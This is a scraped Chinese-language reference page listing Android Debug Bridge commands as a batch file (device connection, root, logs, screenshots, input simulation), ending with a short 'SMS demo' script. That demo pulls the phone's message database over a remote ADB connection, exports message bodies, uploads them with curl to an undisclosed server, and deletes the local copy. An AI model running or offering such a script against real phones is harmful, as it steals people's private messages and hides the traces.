ADB(Android Debug Bridge)小結

來源:互聯網
上載者:User

標籤:檔案許可權   運行   echo   demo   databases   手機   英文   boot   結果   

@echo off
title Android Debug Bridge

ECHO 關閉ADB
adb kill-server

ECHO 啟動ADB
adb start-server

ECHO 查看已串連 adb 的裝置列表
adb devices

ECHO 遠端偵錯
adb connect 192.168.43.1

ECHO 擷取許可權
adb root

ECHO 擷取裝置的狀態
adb get-state

ECHO 列印 Android 的系統日誌
adb logcat

ECHO 手機螢幕儲存到SDCard
adb shell /system/bin/screencap -p /sdcard/screenshot.png

ECHO 螢幕圖片儲存到電腦
adb pull /sdcard/screenshot.png .

ECHO 強制安裝
adb install -r adbWireless_12.apk

ECHO 卸載 APK
adb uninstall *.apk

ECHO 重啟手機
adb reboot

ECHO 進入shell環境
adb shell

ECHO 修改檔案許可權,要先進入 shell 環境
chmod 0755 [手機端檔案路徑]

ECHO 重啟手機進入 Recovery
adb reboot recovery

ECHO 重啟手機進入 Bootloader
adb reboot bootloader

ECHO 將手機上的作業記錄匯出為 txt 檔案
adb logcat > log.txt

ECHO 將裝置改為可讀可寫
adb remount

ECHO 新增的錄製命令執行命令後操作手機,ctrl + c 結束錄製,錄製結果儲存至 sdcard
adb shell screenrecord sdcard/record.mp4

ECHO 類比輸入文本資訊(前提先將鍵盤設定為英文鍵盤)
adb input text HelloWorld

ECHO 類比物理按鍵動作
adb input keyevent KEYCODE_VOLUME_DOWN

ECHO 類比點擊操作
adb input tap 500 500

ECHO 類比滑動操作
adb input swipe 200 500 400 500

ECHO 類比長按操作(x1 y1 x2 y2 毫米)
adb input swipe 200 200 200 200 1000

ECHO 啟動預設瀏覽器開啟一個網頁
adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }

ECHO 啟動撥號器撥打 10086
adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }

 

擷取手機簡訊的小demo

@echo offtitle SMSECHO 關閉ADBadb kill-serverECHO 啟動ADBadb start-serverECHO 串連遠程裝置adb connect 192.168.43.1ECHO 擷取許可權adb rootECHO 將裝置改為可讀可寫adb remountECHO 匯出mmssms.dbadb pull /data/data/com.android.providers.telephony/databases/mmssms.db .ECHO 關閉ADBadb kill-serverECHO 匯出簡訊sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txtECHO 刪除本地mmssms.dbECHO del mmssms.dbECHO 上傳至伺服器curl -F "[email protected]" http://***/smsECHO 刪除簡訊del sms.txtPAUSE

 

ADB(Android Debug Bridge)小結

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.